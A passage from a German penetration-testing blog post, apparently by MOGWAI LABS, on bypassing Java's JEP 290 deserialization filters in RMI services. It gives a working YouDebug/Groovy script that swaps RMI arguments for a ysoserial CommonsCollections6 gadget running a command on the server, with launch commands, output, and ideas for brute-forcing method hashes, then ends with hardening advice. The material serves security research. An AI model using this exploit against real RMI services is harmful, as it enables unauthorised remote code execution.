Die Java Entwickler haben einen zusätzlichen Check für String-Objekte eingebaut. Daher funktioniert die im Folgenden beschriebene Technik nicht bei Methoden wenn diese ein String Objekt erwarten. Methoden die ein oder mehrere Argumente mit anderen Klassen erwarten sind aber nach wie vor angreifbar.

Diese Änderung wurde in den folgenden Java Versionen umgesetzt:

  • Java™ SE Development Kit 8, Update 242 (JDK 8u242-b07)
  • Java™ SE Development Kit 11.0.6 (build 11.0.6+10)
  • Java™ SE Development Kit 13.0.2 (build 13.0.2+5)
  • Java™ SE Development Kit 14.0.1 (build 14.0.1+2)

Java Version 9, 10 und 12 wurden nicht aktualisiert.


Da Angreifer vollständige Kontrolle über den Client besitzen sind sie in der Lage ein Argument, welches von der Objekt-Klasse abgeleitet wurde (beispielsweise ein String) mit einem eigenen Payload-Objekt auszutauschen. Es gibt mehrere Möglichkeiten wie das umgesetzt werden kann:

  • Erstellen einer Kopie und anschließendes Anpassen des Codes vom java.rmi Package
  • Verwenden eines Debuggers um das Objekt zur Laufzeit vor der Serialisierung auszutauschen.
  • Manipulation des Bytecodes, beispielsweise über ein Tool wie Javassist
  • Implementierung eines Proxies zum Ersetzen des bereits serialisierten Objekts im Network-Streams.

Nicky Bloor verwendete den letzten Ansatz als er den BaRMIe Attack Toolkit implementierte. BaRMIe stellt eine “Attack Proxy” Klasse zur Verfügung, welche das Abfangen von RMI Aufrufen auf dem Netzwerklevel erlaubt und einen ysoserial-Gadget per Suchen/Ersetzen injiziert. Das ist eine interessanter Ansatz, hat aber mehre Nachteile:

  • Das Serialisierungsprotokoll von Java ist sehr komplex, weshalb das “einfache Ersetzen” von Objekten oft sehr schwierig ist. Abhängig vom serialisierten Objekt muss man weitere Referenzen im Gadget oder Netzwerk-Stream anpassen, was den gesamten Vorgang sehr fehleranfällig macht.

  • BaRMIe verwendet eine Reihe von fest-codierten Ysoserial Gadgets, welche als bereits serialisierte Objekte gespeichert werden. Die Verwendung eines beliebigen Ysoserial-Gadgets ist daher nicht möglich. Da Hinzufügen eines neuen Gadgets ist ebenfalls nicht einfach. Wir bei MOGWAI LABS besitzen aber beispielsweise eine eigene Version von ysoserial, welche wir gerne für entsprechende Angriffe verwenden möchten.

Ich habe mich daher entschlossen das Problem über einen anderen Ansatz zu lösen. Als ich mich darüber mit Matthias Kaiser unterhalten habe merkte er an, dass Eclipse (und alle anderen Java IDEs) das Java Debugging Interface (JDI) verwenden.

YouDebug

Bei der Suche nach JDI Codebeispielen stieß ich auf YouDebug von Kohsuke Kawaguchi (der Erfinder von Jenkins). YouDebug bietet einen Groovy-Wrapper um JDI wodurch es recht einfach geskripted werden kann. Die Verwendung von YouDebug ist ähnlich zu anderen DI-Frameworks wie beispielsweise Frida. Für ein solches Framework gibt es viele interessante Usecases, wenn man regelmäßig Penetrationstests von Java Applikationen durchführt, sollte man es definitiv in sein Toolset aufnehmen

Nachdem wir jetzt einen per Skript steuerbaren Debugger haben müssen wir eine Methode im Client finden, bei der wir einen Breakpoint setzen und die Kommunikation zum Server unterbrechen können. Ein guter Kandidat ist die Methode invokeRemoteMethod" der Klasse “java.rmi.server.RemoteObjectInvocationHandler”. Wie der Name bereits andeutet ist diese Methode für das serverseitige Aufrufen einer RMI Methode zuständig. Die an diese Methode übergebenen Argumente werden auch bereits als Objekt-Array übergeben.


    /**
     * Handles remote methods.
    **/
    private Object invokeRemoteMethod(Object proxy,
                                      Method method,
                                      Object[] args)
        throws Exception
    {
        try {
            if (!(proxy instanceof Remote)) {
                throw new IllegalArgumentException(
                    "proxy not Remote instance");
            }
            return ref.invoke((Remote) proxy, method, args,
                              getMethodHash(method));
        } catch (Exception e) {
            if (!(e instanceof RuntimeException)) {
                Class<?> cl = proxy.getClass();
                try {
                    method = cl.getMethod(method.getName(),
                                          method.getParameterTypes());
                } catch (NoSuchMethodException nsme) {
                    throw (IllegalArgumentException)
                        new IllegalArgumentException().initCause(nsme);
                }
                Class<?> thrownType = e.getClass();
                for (Class<?> declaredType : method.getExceptionTypes()) {
                    if (declaredType.isAssignableFrom(thrownType)) {
                        throw e;
                    }
                }
                e = new UnexpectedException("unexpected exception", e);
            }
            throw e;
        }
}

In unserem Fall wollen wir die Parameter die an den RMI Aufruf übergeben werden austauschen, bevor diese vom Client serialisiert werden. Dies kann wie folgt durchgeführt werden:

  1. Sicherstellen das die ysoserial Gadgets vom Debuggee geladen werden.
  2. Erstellen eines Breakpoints in der ersten Zeile von “java.rmi.server.RemoteObjectInvocationHandler.invokeMethod”.
  3. Erstellen einer Instanz der Ysoserial Gadgetchain im Debuggee
  4. Prüfen des Objekt-Arrays, welches als drittes Argument an die Methode übergeben wurde.
  5. Falls es einer Instanz eines komplexen Java-Objekts enthält (also beispielsweise ein String), wird dieses durch das Ysoserial-Objekt ersetzt.

Wie bereits angemerkt lässt sich das mit YouDebug mit nur wenigen Zeilen Code umsetzen. Das folgende Beispiel prüft alle Argumente nach einem speziellen “Nadel-Objekt” und ersetzt dieses durch das Ysoserial-Gadget. Es wäre hier möglich eine beliebige Methode, die ein Objekt als Argument akzeptiert, anzugeben.

// Unfortunately, YouDebug does not allow to pass arguments to the script
// you can change the important parameters here
def payloadName = "CommonsCollections6";
def payloadCommand = "touch /tmp/pwn3d_by_barmitzwa";
def needle = "12345"

println "Loaded..."

// set a breakpoint at "invokeRemoteMethod", search the passed argument for a String object
// that contains needle. If found, replace the object with the generated payload
vm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") {

  println "[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called"

  // make sure that the payload class is loaded by the classloader of the debugee
  vm.loadClass("ysoserial.payloads." + payloadName);

  // get the Array of Objects that were passed as Arguments
  delegate."@2".eachWithIndex { arg,idx ->
     println "[+] Argument " + idx + ": " + arg[0].toString();
     if(arg[0].toString().contains(needle)) {
        println "[+] Needle " + needle + " found, replacing String with payload" 
		// Create a new instance of the ysoserial payload in the debuggee
        def payload = vm._new("ysoserial.payloads." + payloadName);
        def payloadObject = payload.getObject(payloadCommand)
	   
        vm.ref("java.lang.reflect.Array").set(delegate."@2",idx, payloadObject);
        println "[+] Done.."	
     }
  }
}

Damit das Alles wie geplant funktioniert, müssen wir noch ein paar Änderungen am Client durchführen:

Hinzufügen von ysoserial.jar zum Classpath des Clients Das YouDebug Skript erzeugt in der Client VM eine neue Instanz des Ysoserial-Gadgets, diese muss daher die entsprechenden Klassen kennen. Falls der Client ein “lib” Verzeichnis besitzt, ist es oft ausreichend die ysoserial.jar Datei in diesen Ordner zu kopieren. Es ist auch möglich den Classpath durch Angabe eines “-cp” Arguments beim Start des Clients anzupassen:

-cp "./libs/*"

Aktivierung von Remote-Debugging-Support Der Client muss mit aktivem Remote-Debugging gestartet werden. Dies kann durch das Hinzufügen der folgenden Argumente an den zum Start verwendeten Java-Aufruf umgesetzt werden:

-agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000

Hier der vollständige Java-Befehl für den Demo-Client (Ich habe hier alle JAR Dateien in das “libs” Verzeichnis geschoben). Der Client wartet, bis sich der Debugger zu Port 8000 verbindet.

java -agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000 -cp "./libs/*" de.mogwailabs.BSidesRMIService.BSidesClient 10.165.188.117
Listening for transport dt_socket at address: 8000

Zu guter Letzt, die Ausgabe des YouDebug Skripts. Ich nene es “barmitzwa.groovy”

java -jar youdebug-1.5.jar -socket 127.0.0.1:8000 barmitzwa.groovy 
Loaded...
[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called
[+] Argument 0: 123456
[+] Needle 12345 found, replacing String with payload
[+] Done..

Wenn das Objekt erfolgreich ersetzt wurde gibt der Client eine vom Server zurückgelieferte “argument type exception” aus, was jedoch zu erwarten war. Zu diesem Zeitpunkt wurde unser Objekt bereits serverseitig deserialisiert:

java -agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000 -cp "./libs/*" de.mogwailabs.BSidesRMIService.BSidesClient 10.165.188.117
Listening for transport dt_socket at address: 8000
Calling bsides.register()
java.lang.IllegalArgumentException: argument type mismatch
	at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:564)
	at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:359)
	at sun.rmi.transport.Transport$1.run(Transport.java:200)
	at sun.rmi.transport.Transport$1.run(Transport.java:197)
	at java.security.AccessController.doPrivileged(Native Method)
	at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
	at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
	at java.security.AccessController.doPrivileged(Native Method)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1135)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
	at java.lang.Thread.run(Thread.java:844)
	at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
	at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
	at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:161)
	at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:227)
	at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:179)
	at com.sun.proxy.$Proxy0.register(Unknown Source)
	at de.mogwailabs.BSidesRMIService.BSidesClient.main(BSidesClient.java:20)

Anmerkung zum Bruteforcen von RMI Methoden

Der beschriebene Angriff hat den Nachteil das er nur funktioniert wenn Angreifer Zugang auf die vom RMI Dienst implementierte Interface-Definition haben. Der Grund ist die Art wie RMI Methoden eigentlich aufgerufen werden. Der RMI Client/Server generiert hierzu einen SHA1-basierenden Hash aus der von der Methoden-Signatur abgeleiteten String. Die Namen der Methoden-Argumente sind hierfür nicht von Belang, nur der Name der Methode sowie die Datentypen der Argumente.

Hier ein Beispiel:

Method Method Signature Hash
void myRemoteMethod(int i, Object o, boolean b) myRemoteMethod(ILjava/lang/Object;Z)V 0xB7B6B5B4B3B2B1B0

Adam Bolton beschreibt ein Szenario, in dem er versucht ein gesamtes RMI Interface zu Bruteforcen, was aber nicht wirklich realistisch ist. Im Zusammenhang mit Angriffen auf die Java Deserialisierung müssen Angreifer jedoch nur den Hash einer Methode, die ein Objekt als Argument findet identifizieren. Es ist beispielsweise denkbar, dass Angreifer versuchen gängige Methodennamen / Argumente zu bruteforcen, zum Beispiel:

login(String username, String password)
logMessage(int logLevel, String message)
log(int logLevel, String message)

Es sollte ohne größere Probleme möglich sein ein entsprechendes Tool für gängige Methoden zu erstellen. Ich habe das jedoch nicht praktisch versucht und überlasse das den Lesern :)

Zusammenfassung

Die durch JEP 290 eingeführten Deserialisierungsfilter verhindern eine einfache Kompromittierung des RMI Dienstes mit den bekannten generischen Exploits. Diese funktionieren jedoch nach wie vor mit vielen RMI Diensten, da diese ältere Java-Versionen verwenden und eventuell nicht aktualisiert wurden.

Wenn der RMI Dienst auf einer neueren RJRE betrieben wird können Angreifer nach wie vor versuchen Deserialisierungsschwachstellen auf Applikationsebene auszunutzen. Dies setzt voraus das die von den per RMI implementierten Interfaces bekannt sind, beispielsweise durch einen Zugriff auf eine Kopie des RMI Clients.

Sollten Sie eine RMI basierende Applikation verwenden sollte man soweit möglich auf eine aktuelle Java Version wechseln. Wie bereits erwähnt wurde JEP 290 sogar für ältere, eigentlich nicht länger unterstützte Versionen wie Java 7 implementiert. Die integrierten Filter bietet hier einen initialen Schutz, das Erstellen von Prozessweiten Filtern wird jedoch empfohlen, insbesondere wenn die Interfacedefinitionen öffentlich verfügbar sind.


Danke an Jo Lanta bei Unsplash für das Titelbild.